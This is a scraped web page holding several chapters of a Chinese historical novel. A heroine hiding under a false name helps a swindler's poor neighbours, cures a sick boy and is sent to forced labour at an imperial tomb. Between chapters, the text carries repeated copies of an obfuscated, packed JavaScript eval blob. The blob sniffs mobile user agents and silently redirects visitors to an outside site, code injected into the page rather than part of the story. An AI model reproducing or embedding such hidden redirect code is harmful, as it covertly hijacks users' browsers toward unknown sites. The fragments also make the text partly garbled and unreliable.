p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15897836|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘太没戒心，做买卖得一手交钱一手交货，怎能先把钱给出去？你被骗真不冤。” 这人分明骗了她钱，竟还理直气壮地给出了这么一个结论。褚笑眉咬牙切齿：“谢谢你啊。” 她又继续问道：“第二个问题，在唐姑娘面前，你为何要假作与我亲近？” 万事通盯着远近层叠的屋檐，沉默了许久，久到让褚笑眉认为，他应该不会回答了。 不答便不答吧，总归是旁人的私事。 褚笑眉本打算就此放过，却听见万事通的声音轻飘飘地响在她耳边：“为了让她死心。” “唐姑娘也不像是不讲道理、会纠缠着你不放的人，你又何必对她这样残忍……” “残忍？”万事通嗤笑出声，“给她虚假的希望，才是最大的残忍。她已及笄了，该早些放下我，嫁个好人家。” “你不喜欢她？” 万事通移开目光，回避了她的问题：“我喜不喜欢她……重要吗？你也说了，我就是个坑蒙拐骗的骗子，说不准什么时候，我就会被送进官府。我这种人，凭什么给她幸福？” “那你就不能不行骗，找个正经营生吗？” “不能。”万事通一口回绝，目光中有她看不懂的坚定。“我需要钱，需要很多很多钱。” “为什么？”褚笑眉追问，“你这些年骗到手的钱，难道还不够你下半辈子衣食无忧？” “因为……”他忽地顿住，抬眼望向了她，“姑娘想知道？” “想。” “好，我带你去看。” 房顶上的茅草烂了，破出一个大洞。既遮不了日头，也挡不住刮风下雨。 老汉一看见万事通，颤颤巍巍地拄着木棍站起来，张罗着要给他倒水。老汉满口的黄牙掉了一半，嘴瘪了进去，说话尤为口齿不清。 褚笑眉竖起耳朵去听，勉强辨认出他说的是：“哎，小万来啦。” 万事通连忙扶老汉坐回去：“您歇着，我自己来就好。” 他挑出一个最完好的杯子，倒了水递给褚笑眉。土瓷的边缘早豁了口，他低声提醒：“喝的时候小心些，别划伤了。” 褚笑眉捧着杯子，垂眸看着老汉手边摆着的馒头——与其说是馒头，倒不如说是一个又黑又硬的面团，发了霉的面皮撕下来扔在一边，余下的部分已被啃了一小半了。 万事通搬来梯子，爬到房顶上去，把崭新的茅草扎在一起，修补上原来的大洞。 “任伯的米面吃完了，明日得给他再送些过来。”万事通道。 有的人家砖墙垮了、灶台塌了，有的人家连张草席都没有，有的人家缺衣少穿，一碗米粥熬的只剩下汤…… 若是还便于行动的，万事通就留下些钱财；若是像任伯这样年迈的，他便一一记下，亲自上门料理。 褚笑眉算是知道，他为什么需要很多很多钱了。 可她心中又出现了别的疑惑：“你为何要帮他们？” 45. 第 45 章 “姑娘的问题确实不少。”万事通笑了笑，“你之前不是好奇，我的名字为何这么奇怪吗？ “因为我的爷娘很早就死了，没人知道他们给我起的名字是什么。这个诨号在叔伯婶姨间叫开，我就用上了……” 大雍以东为尊，宫城又在城北。故而最显赫的门第，都在长安城东北的玉龙坊。 而长安城的西南角，街巷破败、房屋倒塌。前朝铺的青石砖碎得七零八落，露出底下的黄土地来。一下雨，土就被冲得到处都是，凹凸不平地蓄起水坑，踩得人一脚泥。 外头的人管这儿叫“老鼠窝”——倒不怪他们起了个这样蔑视的称呼，实在是住在此处的贫民都刁得很。偷盗、抢劫屡见不鲜，连官府都不爱管，若真要挨个抓进去，只怕大牢里都关不下。哦，衙门还得管饭。 二十年前，玉龙坊的武戎侯世子四岁生辰，大摆宴席二百余桌，烟花放了一整晚，映得夜里亮如白昼。百姓们都从窗户里伸出头去看热闹，真真是普天同庆。 没有人知道，贫穷脏乱的“老鼠窝”里，累死了一个女人。 最先发现尸体的，是住在旁边茅草屋的任老头。 作为“老鼠窝”里的“老鼠”，他早已习惯了难闻的气味。 臭水沟、腐木、粪便的味道浮动在坊间，蚊虫聚在一起大快朵颐，时而被过路的人惊得团团飞起。 天色渐黑，暑气未消，烤得人心浮气躁。徐家的和宋家的为了抢粪肥，已对骂了半个时辰。 任老头用破蒲扇扇着风，仍旧扇不走那一阵令他难以忍受的恶臭。 ——这臭味来得不寻常，绝不是腥臊的粪便或烂掉的秽物。 他晃动着蒲扇，起身寻了过去。 推开邻家破旧的木门后，他看见了女人腐烂的尸体。绿头苍蝇在屋内嗡嗡地飞，飞得他的脑子嗡嗡地响。 地上坐着个孩子，约莫一岁多。看着满屋乱飞的蚊蝇，咯咯地直乐，好像那是漫天飞舞的蝴蝶。 死掉的女人是秋芳，她男人被征了兵，再没了音讯。她天不亮就要出门锄地，夜深了还点着蜡烛做些缝补的活计。从大着肚子到孩子生下来，一日也不曾歇过，甚至连阵痛发作的时候，都是在地里。 她男人本就是外地来的流民，和她结亲后拢共没住多少日子就走了，邻里都同他不大熟。 ——他姓什么来着？ 任老头也不记得了。 桂姨说他姓齐，王哥说他姓夏。原本在吵架的徐家的和宋家的，换了个话题重新争执起来，一个说他姓陈，一个说他姓倪，都拍着胸脯保证说自己记得真真的。 “别管他姓什么了，”任老头说，“先想想……这个孩子咋办啊？” 原本争论得热火朝天的人，全都不说话了。 挤了满屋子里的人，却只剩下头顶上的苍蝇嗡嗡乱撞的声音。 那孩子还在看着苍蝇笑。 大伙儿笑不出来。他们心知肚明，这孩子怕是和这些苍蝇一样，活不了几日了。 任老头热了一碗米汤，端来喂给这个孩子： “孩儿啊，你也别怨大伙儿，要怨就怨自己命不好。都住在‘老鼠窝’了，自己家里那几口尚且吃了上顿没下顿，谁能再添一张嘴？ “我喂了你这一碗汤，也算尽了邻里乡亲的情谊了。下辈子……托生个富贵人家吧。” 任老头没再闻见那样的恶臭。 他以为是有谁把这孩子的尸身拖去埋了，可他路过时，分明还听见了孩童的笑声。 这一回他推门进去，看见徐家的手里捧着土瓷碗，碗里盛了小半碗菜羹。 “我不是要养他啊，我家的情况你知道，哪能养得起？这么点吃食，还是从牙缝里抠出来的。”徐家的赶紧解释，“我就是突然想过来看看，要是他还没死，我也出一点力。” 任老头点了点头。 他住得近，坐在窗边吹着风，时不时就往这边看。 王家的，宋家的，刘家的，还有他看着脸熟但忘记了是哪家的……几乎都来过。 他在地里给麦子浇水，听见有人问他：“任哥，那孩子还活着吗？” “活着哩。”他挺了挺胸膛，回答道。 都是住在“老鼠窝”里的人，没有哪家能平白多养一个孩子。 东家送一口粥，西家喂一口面，南家给一块布，这孩子竟真就活了下来。 宋家的说：“任大哥啊，这孩子大了，总得有个名儿吧？” “这孩子是吃百家饭、穿百家衣长大的，要不就姓‘百’……”任老头的目光落到那孩子身上，话音忽地顿住。 那孩子正在玩一只草蚂蚱，是吕婆婆编给他的。 天真无邪的笑声在风里荡过来，任老头也跟着笑了。 他改口说：“不，还是姓万吧。 “——希望这个孩子往后，可受千千万万人的福泽。” …… 褚笑眉的声音轻得仿若一声叹息：“原来，你的身世竟这般坎坷……” 万事通笑了笑：“如今想来，我还真像苍蝇一样，靠着蹭每家的饭菜活下去。得亏叔叔婶婶们没有一巴掌拍死我。” “你不是苍蝇。”褚笑眉看着他，认认真真地道，“你是破茧的蝴蝶。啜食了百花的花蜜后，会还给他们一个更盛大的春天。” “万兄，”她头一次这样唤他，“别贬低自己，也别拿自己的痛苦当玩笑开。” “嘁，这算什么痛苦？跟你这种娇生惯养的富家女说不通。”万事通嗤笑出声。 可褚笑眉分明看见，他别过头转向另一侧时，眼尾微微有些泛红。 “就算是痛苦，若不是叔叔婶婶们让我活下来，我连痛苦的机会都没有。” 万事通轻飘飘地叹了口气，又道：“其实不苦。尽管有时候回到空荡荡的家，会让我无比清晰地认识到我是个孤儿。 “——我心里却始终明白，虽然我不是任何一家的孩子，但我又好像……是每一家的孩子。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15913617|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >褚笑眉问道：“同唐姑娘成亲，你不就有家了？” “说什么疯话？”万事通皱起了眉，“她这样的好姑娘，凭什么被我耽误一生？” “可她明显不是这样想的！比起自作主张，你怎么就不能问问她的意思？” “因为我知道，什么才是为她好。”万事通明显不想再继续谈论下去，“姑娘若没有别的问题，就请回吧，我还有很多事要做。” “老鼠窝”又来了个人。 来的是个抱着孩子的妇人，要找万事通。 在邻里或好奇或审视的目光中，她“噗通”一声朝万事通跪了下去，哭着磕头道：“求您帮帮忙吧！他们都说，十里八乡的就您最有法子了！我这孩子从小就落了病根，前几日又发热高烧，怎么也不见好……” 褚笑眉认得那个妇人，曾和她一起睡在通市桥的桥洞里。 她当时就觉得那孩子奇怪，看身形已约莫七八岁的年纪了，却总是由母亲抱着，遮挡得严严实实的——原来是病着。 万事通道：“病了就该找大夫，找我有什么用？” 妇人道：“看过大夫，也吃了几服药，但这孩子的病更重了……听说您人脉广，您能不能给寻一个厉害些的大夫？” “我去哪儿给你寻？”万事通道，“京中有仁安堂、回春堂、杏林堂和慈心堂四大医馆，你找人一问便知，里头多的是名医坐诊。” “名医的号早排到两月后了，我这孩子哪还能撑这样久？而且……”妇人局促地垂下头，声音更低了，“买完那几服药，我的钱也花干净了。您……能不能借我些？多高的利都成！我这辈子当牛做马，也一定还清！” “我没钱，你走吧。我认识的也都是下三滥的路子，招摇撞骗的庸医有的是。名医？还真没有。” 万事通转身要走，妇人却扯住了他的衣摆：“爷！您就行行好吧！只要能救这孩子，要我怎么样都成……” 宋家的向那妇人道：“你为难小万做什么？我说句大实话，你也别嫌我这话刁。谁家没几个养不活的孩子？这世道里活蹦乱跳的孩儿都有饿死的，更何况你儿子身子本来就差。早点放弃，也省得自己跟着遭罪。” “你……”妇人的脸一阵青一阵白，气得浑身都在发抖，嘴唇翕张了几下，最终一句骂人的话都没吐出来，倒是淌下来两行热泪。“可他是我的孩子啊……” 褚笑眉看那孩子面色苍白、大汗淋漓、神识模糊，症状颇有些眼熟，不由得发问道：“令郎平日可有肢冷畏寒、心胸憋闷甚至作痛之症？” 妇人一怔：“姑娘怎的知晓？确实如此。” 褚笑眉在她面前蹲下身来，仔细查看那个孩子：“舌苔白滑，脉象沉弱，口唇指甲青紫，是心阳虚。” “什么？！此前那郎中说是风热袭表……难怪药不对症。”妇人黯淡的眼眸重新燃起了一簇火，紧紧地盯着褚笑眉，“姑娘会医术？” “不会。”褚笑眉道，“但我恰好十分熟悉这一病症。” 46. 第 46 章 褚笑眉话音刚落，妇人猛地探出手，抓住了她的小臂。力道大得很，枯瘦的指节竟如铁钳一般：“姑娘可有对症的方子？” “是参附汤。”褚笑眉挣扎了一下，妇人方才恍然地松了劲。她轻轻抽回手臂，衣袖已留下了几道褶皱。“要用人参、附子……” 万事通突然打断：“你没学过医，胡乱开药会闹出人命的。” 他生长在市井，最是通晓世情。这一番话，其实暗含深意。 若褚笑眉直接给出药方，但这方剂却未能回天，难保妇人不会认为，是她害死了自己儿子；所以他率先点明利害，让妇人知晓最差的结果。 妇人浑身一震，松开的指尖又蜷起来。她咬了咬牙，终于下定了决心：“我儿如今这般，再拖下去也是个死，不如死马当作活马医，总归……能有一线生机。求姑娘赐个方子，便是毒药我也认了！” 说完，就要往地上磕头。 “不必如此，”褚笑眉连忙扶住她，“我应你便是。” “姑娘愿意出手相助，已是莫大的恩德，按理说我不该再要求什么……”妇人的脸涨得通红，嗫嚅道，“但您方才也听见了，我没钱买药，您能不能……” 褚笑眉想也不想，便应允下来：“好说，药钱我帮你付。” “不不不，哪能让姑娘出钱？我的意思是借……”妇人忙不迭地解释，“我给姑娘打个欠条，以后会还的。” 重病的孩子需要照顾，妇人走不开。褚笑眉索性帮忙到底，去把药买回来。 万事通对京中各处都颇为熟悉，哪家药铺诚信实在，哪家惯于以次充好，早摸得透透的。他向褚笑眉指明了去处，又询问道：“你有几成把握？” “七八成。”褚笑眉道，“那孩子的病症，与我阿弟的病似乎是同一种。俗话说‘久病成医’，我从小看顾病人长大，应该不会用错药。” 万事通叹了口气：“不仅是药方的问题……” 褚笑眉困惑：“那还有什么问题？” 万事通不答，只是说道：“到了药铺你就知晓了。” 平阳坊西首，一栋双层小楼临街而立。檐下两盏褪色的纱灯随风轻晃，门楣悬挂着梨花木匾额，上书“益善堂”三字，字迹的边角已有些剥落了。 褚笑眉迈过门槛，步入中堂。正对的墙上有一幅药王邳宏邈的画像，两侧贴着“橘井泉香分淑气，杏林春暖济苍生”的楹联，中间是“妙手仁心”的横批。 她开口便问伙计：“劳驾，你们这儿可有百年老山参？” 参附汤中，最关键的一味药就是人参。年份越久，药效越好。 伙计一时愣住，似是疑心自己听错了话，又重复询问：“您是要——百年老山参？” “正是。” 伙计摇头道：“娘子，莫说百年老山参，就是十年的，在市面上也极其罕有啊。” 褚笑眉蹙起了眉头：“听说你们益善堂是京中老字号了，怎么连年份久些的人参都凑不出来？” “娘子有所不知，十年以上的上等参，皆直接供与权贵家，压根不会流入药铺中。” “什么？”褚笑眉一惊。由于小臣的病，褚宅的药柜中从未短过人参，最差的也是三十年往上的——这在她眼中已是下等品，原来竟这般珍稀。 她继续问道：“那你们这儿最好的人参是几年的？给我看看。” 伙计用钥匙打开了药柜的锁，取出一个樟木匣来，匣中垫着大红锦缎，其上躺着一棵细小的人参：“这是十年的野山参，六贯钱一棵。” “六贯？！”褚笑眉惊呼出声，“我身上只有一贯钱……” “那您就只能买这个，”伙计换了个匣子，打开给她看，里头的人参更小了，“这是五年的野山参。” 这棵人参重五钱，只够配一服药。这么点药量，未必会对病情有多少帮助。 褚笑眉又问：“还有更便宜的吗？” 伙计道：“有倒是有，得看娘子是做什么用途。五年以下的人参，药效较差，日用滋补使得；若要回阳吊命，约莫是不行的。” 褚笑眉深吸了一口气，难怪万事通说不是药方的问题，原来其中还有药材的事。 小臣发急病时，家里用的都是百年老参，一日三服，连吃几日也就康复了；而这是五年的人参，还只有一服的量……她此前说有七八成把握，还真是夸下海口。她如今觉得，能救回那孩子的机会，恐怕连半成都不到。 眼下别无他法，她只能先配出一服，回去给那孩子试试看了。 那孩子躺在粗布褥子上，面色青白如纸，眼缝里渗出一点黄浊的眼眵。他昏迷不醒，牙关咬得比石头还硬。 妇人跪坐在床前，指节因用力掰孩子下颌而泛白，但怎么也掰不开他的嘴，没法喂药。她急得双目通红，几滴泪从脸颊淌落，溅在地上洇出深色的水痕。 褚笑眉去借了白帆和盐，研成细粉，涂抹擦拭在那孩子的牙根下。他齿关一松，竟真就张开了嘴。 妇人连忙将药灌了下去。 待搁下药碗，她擦去额头冷汗，终于分出神来，问道：“姑娘这是什么法子？也太灵验了。” “从前有位神医教我的。”褚笑眉道，“我阿弟自小体弱多病，我照顾他时，遇上过同样的麻烦。” 夜已深了，二人仍守在床边。这是万事通的屋子，他临时让了出来，自己去找朋友借住一晚。 暗淡的烛火偶尔摇曳，映出妇人憔悴的面容和紧绷的神色。 知道她心中煎熬，褚笑眉有意提起话头，同她闲侃：“还不知道怎么称呼您？” 妇人答道：“我叫何桂芳，姑娘怎么叫我都成。” “我瞧着……您似乎比我大七八岁，我又比令郎大八岁，不知是该叫‘姐’还是‘姨’。我叫您芳姐吧？这样亲近些。”褚笑眉道，“您可以唤我‘阿眉’。” 何桂芳的眼皮颤动了一下：“好。” 褚笑眉又道：“听您的口音，似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925499|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎不是京城人士？” “我是郑州人。”何桂芳低下头，话音喑哑发涩，“因家中土地没了，男人也死了，不得已带着儿子流亡至此。” “这……怎会如此？” “姑娘想知道？” “您若不想说，便不必说。” “不，我想说。”何桂芳猛地抬起了眼，目光如炬，直直射向褚笑眉。“前年黄河水患，淹了我家的田地，这原本是件好事。” “好事？” 何桂芳解释道：“被洪水淹过的土地，会变得十分肥沃。没曾想，天灾放过了我们，真正将我害得如此境地的……却是人祸。 “豪强看上了我们家的田地，非要强占。我男人不肯，竟被活活打死。” 褚笑眉怒道：“什么人如此嚣张？！官府难道不管么？” “官府？官府早同他们串通一气了。”何桂芳嗤笑出声，“为首的那人姓杨，自称是吏部尚书褚惟庸的远房表亲。” 褚笑眉心神巨震。褚家的……远房表亲？她压根就没听说过这个姓杨的！ 一个不知道远到哪里去了的亲戚，居然能仗着褚家的权势，作威作福到此等地步？！ 裙布被她攥得发皱，她忽地不敢直视何桂芳的眼。 她不由得在心中猜测——何桂芳知道她的真实身份吗？知道她是褚家人吗？ 应该是不知道的吧？若是知道，怎会如此心平气和地与她相处？况且，她也从未透露过自己的姓氏。 她无比庆幸，自己选择了伸以援手。尽管褚家的罪过无法挽回，但至少……能稍微帮上他们母子二人。 第一缕晨曦透过破旧的木窗，落到那孩子的眼皮上。他似乎被晃了眼，睫毛颤了颤，呻吟一声，皱着眉头苏醒过来。 “醒了！醒了！”何桂芳欢呼着，热泪却从眼角滚落下来，她紧紧握着褚笑眉的手，“姑娘，你的药方有用！我儿子醒了！” “太好了。”褚笑眉疲惫地笑了笑。 那孩子嘴唇干裂，何桂芳急忙倒了碗水，喂给他喝：“小峻，你现在感觉怎么样？还有哪里不舒服？” 罗峻费力地抬起手，擦去他阿娘脸上的泪痕，声音哑得像是年久失修的木轴，却还在安抚她：“阿娘你别哭，小峻好好的，没有不舒服。” 何桂芳眼眶发酸，泪水又开始在眼里打转。她别过头，将泪水憋了回去：“是，我们小峻好好的。再躺一会儿吧，阿娘去给你讨碗热粥吃。” 罗峻只吃了那一服药，病程长一些，却到底是一天天地好起来了。 心阳虚是先天不足，他的情况比小臣好很多，只是住在桥洞里环境太差，身子才会扛不住。万事通收留了这个小孩，让他暂住在自己家。 日头西斜，天际染上几抹胭脂色，路上的影子被拉得老长。万事通踩着斑驳的光影快步走来，神神秘秘地同褚笑眉说： “褚姑娘，你不是发愁没有身份文牒吗？如今有个好机会，你要不要试试？” 47. 第 47 章 褚笑眉闻言，眸中寂灭许久的光骤然亮起：“你能帮我弄到身份文牒？” “我哪有那本事？我只是叫‘万事通’，你真当我手眼通天啊？”万事通白她一眼，“我回来时路过西市口，听见衙役在宣读新令—— “说是圣上下了旨，要招募乞丐、流民充作皇工，没身份文牒的可以落籍。” “你的意思是……” “你捏个假名假姓，让户部盖印，等服完两年的劳役，天大地大任你闯，再不用在京中躲躲藏藏。”他抱着手臂笑了笑，颇有些得意，“如何？是不是千载难逢的好机会？” 两年劳役，换个不受拘束的新身份，倒是一笔划算的买卖。 褚笑眉心中一动，正要开口时，又犹豫起来：“皇帝下的旨，朝臣不可能不知晓。若我应召去府衙登记……江铭会不会安排了胥吏，就等着我自投罗网？” “我早想到了这一层。”万事通道，“康三娘生得浓眉大眼的，相貌同你有两分肖似，身形、年纪也和你差不多，记名时让她替你出面。 “你俩穿个差不多的衣裳，梳个一样的发髻，到时候人多、场面乱，衙役们哪儿分得清谁是谁？你偷偷地混到登记完的队伍里就成。” 这法子虽冒险，但确实值得一试。褚笑眉应了下来，万事通又如此这般地同她交代了诸多细节。 计划进展十分顺利。 褚笑眉捏紧手里的皇工契，垂眸看着纸上崭新的墨痕。 “楚小梅？这是你的名字？”熟悉的声音自身旁传来。 褚笑眉转头望去，不期然看见了何桂芳的脸。她惊讶得睁大了眼：“芳姐？你怎么也来了？小峻呢？” “我将他暂时托付给小万了。”何桂芳道，“我留在他身边也没什么用，不如来做工。听说是每日十五文的工钱，还管吃管住，两年只进不出的，总能攒下不少。” 褚笑眉点了点头，将身契折好，揣进怀中。 守城的士兵放了行，她跟着浩浩荡荡的队伍踏出北城门。 这是褚家出事后，她第一次离开京城。 她回头望去，只觉这座雄伟的城池如一头伏卧的巨兽。巍峨的城墙挡住了视线，倒是能遥遥看见八珍居飞檐翘角的八角攒尖顶。 那座身份地位越高，就能登上更高层的酒楼——原来竟这般高。她从前坐在顶层时，从窗间向外看去，天地万物尽收眼底；如今她混在黑压压的人群里，原来也不过是蝼蚁微尘、沧海一粟。 八珍居之下，还有什么呢？ 她自小在长安城长大，太熟悉这里了。她能清晰地想象出，被这四四方方的城墙围在其中的八街九陌。 是琳琅满目的花天锦地，是热闹喧嚣的东市西市，是鳞次栉比的坊院屋宅……还有，破旧残败的“老鼠窝”。 权势富贵也好、贫穷困苦也罢，都好似被这头巨兽衔在口中，等待着被消磨吞噬，逃不脱、走不掉。 这一批皇工是去修皇陵的。 褚笑眉在心中暗想，小皇帝才十五岁，这会子就急着修陵寝，未免为时过早。 长安城北有一条龙脉，先帝爷的巍陵正在龙首处，武圣蒋遥墓陪葬在旁。 当今圣上的皇陵自然落在龙颈处，选址位于鬲县。 何桂芳捡了根树枝，塞给褚笑眉：“小梅，拿着当拐棍吧。我打听了一下，从长安到鬲县，日行七十里，要走两日哩！” “多谢。”褚笑眉没有推脱，接了过来。 虽然已出了城门，但现在并不能一走了之。 一是要服完两年的劳役，皇工契才可换为平民的身份文牒；否则这样的身契带在身上，不过是废纸一张，仍旧无法租住和务工。而且按照《景曜律》，逃役是大罪，若被人发现她是逃跑的皇工，可是要蹲大牢的。 二是在去皇陵的路上，有带刀衙役押送看管。一旦有人逃跑，其他人连坐，服役者会彼此监督。 夜里宿在野外，褚笑眉找了棵粗壮的大树靠着坐下，双腿抖如筛糠，脚底已走得起了泡。 何桂芳坐在她身边，劝道：“揉揉腿吧，明日还有得走呢。” 褚笑眉点头应下，一面捶打揉捏自己酸胀的双腿，一面询问：“芳姐好像不怎么累？” 何桂芳解释道：“我从郑州一路走来京城的，走了快一个月，早习惯了。那会子还带着小峻呢。他年纪小，身体又不好，走不了多远，总是我背他。” 月色下，何桂芳黑寂的双眼中燃着一抹亮芒，好似波涛汹涌的水面上漂浮着的唯一一盏河灯。随时可能会熄灭，却又始终没有熄灭，经久不息地坚持着发出微光。 何桂芳的脸黝黑粗糙，一看便是常年务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937334|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 农耕种的人；褚笑眉却蓦地一阵恍惚，只觉得眼前的脸和另一张完全不像的脸重合——白皙细腻，显然没有做过粗活，那是苏绣大师韩大娘的脸。 她和她一点都不像，可又实在很像。她们的眼中，都有着同样的东西，是一片寂灭中不灭的亮光。 褚笑眉未曾远游过，不知道郑州有多远，苏州又有多远。但无论如何，肯定比鬲县远，远很多很多，远千倍万倍。 她如今从京城往鬲县走，才走了一半的路，已觉得腿都要废掉了，恨不得往地上一躺，拿鞭子抽死她也不起来了；可她们二人竟走过了这样远的路，走到了京城中，就像河灯一路漂泊，任凭风吹浪打，也要抵达彼岸。 翌日晚间，终于到了皇陵。 劳作的队伍像是一条巨蟒，长得看不到尽头。背着石料的劳役被压弯了腰，一步一步落得极重，近乎要踩进地里。干瘦的身体撑不起破烂的麻布衣衫，上衣空荡荡地挂在肩头，弓起的后背上清晰可见嶙峋的脊骨。 路过一名年纪大的劳工时，褚笑眉听见他吭哧吭哧地喘着粗气，好似随时会一口气上不来，晕厥过去。 他明显已经体力不支，脚步越来越慢。 “死不了就接着干！”怒喝声伴着破空声，监工手里的长鞭挥过来，掀起的凌厉鞭风几乎扫在褚笑眉鼻尖。 鞭梢重重抽在那劳工的后背，他哀嚎出声，踉跄了一下，被痛楚强逼着加快了步伐。他的粗麻衣上新添了一道口子，洇出刺目的血痕。 新来的这一批皇工们面面相觑。 何桂芳吓得抓紧了褚笑眉的手，声音放得极轻，却颤抖得厉害：“皇榜上不是这么说的……” 皇家募工，说的是泽被万民、施恩于下，又言及食宿工钱等种种优待，比私雇的劳工好得不是一星半点。 这些自愿被招募的乞丐流民心中想着，既是皇榜上写的，皇帝金口玉言，总不至于骗人。可眼前此景，却与他们所想象的天差地别。他们终于隐约明白了过来，这并非什么好去处。 何桂芳低声喃喃：“小梅，怎么办……你有没有法子……” “别怕，我看看。”褚笑眉四处扫视，试图找个防守疏漏的地方逃走。 她的目光却恰恰与一名衙役对上。 对方将手按在腰间的刀柄上，微微眯起了眼。 48. 第 48 章 “我们不做了！放我们回去！” 人群中爆发了一阵骚乱，七八个人聚在一起，与拦路的衙役对峙着。 为首的是个黝黑的中年汉子，他身形虽瘦，看起来却颇有力气，手臂的肌肉上青筋虬结，显然是常年做苦力的。 他大声抗议道：“你们肆意虐打劳工！在这儿干活，还不如去码头上卸货！” 衙役们一把拔出佩刀：“皇工契都签了，天家的差事——你们说不做就不做？” 中年汉子赤手空拳，看着那一柄柄亮得晃眼的利刃，登时哑了火。 “这儿有个混小子想趁机溜走！” 只听一声暴喝，监工将一名瘦弱的乞儿踹倒在地。 乞儿蜷缩在地上，举着双手连连讨饶：“不敢了！官爷，小的再也不敢了……啊！！！” “啪——！”凌厉的鞭声混杂着他的惨叫，在众人耳边炸响。 监工冷笑道：“每来一批新人，总有些自以为聪明的，想在老子眼皮子底下耍花招！老子教训过的人，比你们吃过的米还多！奉劝你们识时务，老老实实干活！” 方才还躁动的人群，渐渐都安分了下来。如今不是逃跑的好时机，褚笑眉冲何桂芳摇了摇头，示意她先不要轻举妄动。 众人排着队，一一被编入名册。 褚笑眉摸出身上仅剩的八个铜板，偷偷塞给了监工，低声道：“我和这位大娘都是女子，您看能不能给派个不卖力气的活计？等发了工钱，我再来孝敬您。” 监工大笔一挥，将她们二人分去了伙房。 褚笑眉往灶台里添了把柴，继续搅动着陶釜里的粟米粥；何桂芳搬来两个旧竹筐，将锅上架着的滚烫蒸饼拣进筐中。 暑气和升腾的热气盈于一室，烘烤得她们几欲昏厥，汗水早把里衣浸得湿透了，发丝上的汗珠不断地滚落下来。 “磨蹭什么！你们的皮不想要了？！” 粗砺的喊声惊得何桂芳一颤，伙房的人加快了动作，将餐食装到车上，去给修皇陵的劳工饷饭。 褚笑眉一面卖力地推车，一面偷偷观察四周——沿途都有监工盯着，她暗自把各条路和皇陵的布局记下来。 “这么点饭……根本不够吃啊。”一名劳工恳求道，“何大娘，如果方便的话，能不能稍微多给我一些？” 听见此人认识何桂芳，褚笑眉立即抬头望去——果然，是曾经和她们一起住过桥洞的、那名脸上有刺青的青年。 “是你啊，廖扬。”何桂芳看清对方的脸后，面色柔和了些许，又多掰给他半块蒸饼。 其他人不乐意了，当即问道：“凭什么他能多得半块？” “嚷嚷什么？”何桂芳用勺子敲了敲盛粥的木桶，“这是老娘自己的份额，我自愿送给他也不行？” 何桂芳说，她刚来京城时举目无亲，廖扬很照顾她，所以她现在要报恩。 “他脸上为什么有刺青？”褚笑眉问道，“按照律法，犯了烧杀抢掠这些重罪，才会黥面吧？他看起来文文弱弱的，不像穷凶极恶之徒。” 何桂芳叹了口气：“他没有犯罪。他变成这样，是京中权贵的手笔……” 廖扬的父母都不认得字，他的名字是花钱请人起的，扬眉吐气的扬。 家里衣食拮据，却还是要省出钱来供他读书。在同窗中，他的文章算得上是一流。 亲朋见了他，总是夸赞：“这娃聪明，读书读得好，以后肯定能做大官哩！” 父母每每听到这句话，笑得合不拢嘴，佝偻的脊背都挺直了几分；却又为着要缴的束脩，接了更多的劳苦活儿，被更深地压了下去。 科举给所有的普通人编织了一场梦，好像只要付出的足够多，鸡窝窝里就真能飞出个金凤凰。 但廖扬却始终没能考中。 父母的白发一天比一天多了，眼中希冀的光也渐渐黯淡了。同龄人早接过了家里的重担，只有他还在日复一日地读书、读书、读书…… 父亲累病的那一回，他终于说：“我不考了。” 他在蒙学中做了个先生，教小孩开蒙识字。与最初科举做官的愿望相比，差得不是一星半点，但父母还是很开心： “果真是让我们扬眉吐气了。我们祖祖辈辈都是面朝黄土背朝天的，这一代竟然出了个读书人。” …… 褚笑眉奇道：“既是个普通的教书先生，又怎会与权贵有过节？” “娘子见过市上杀鸡宰鱼吗？”何桂芳目光悲戚，“鱼之所以被杀，难道是因为与人有过节？人想吃鱼便杀，想吃人……也是一样。” 一条鱼被狠狠地摔晕在砧板上。 十六岁的小女娘布衣荆钗、不施粉黛，熟练地将鱼开膛破肚。鱼尾甩上的水珠与她额头的汗珠莹莹润润，像是湖中清荷盛着透亮的朝露。 卖鱼的纪娘子是廖扬的青梅竹马，二人两情相悦，已谈妥了婚事。 却有一个纨绔横刀夺爱，强行将她带回府中。 纪娘子抵死不从，廖扬也四处求告。 他去京兆府鸣冤，于街市怒斥那人的恶行。读书人天真地以为，只要将事情闹得够大，就能救回他的妻子。 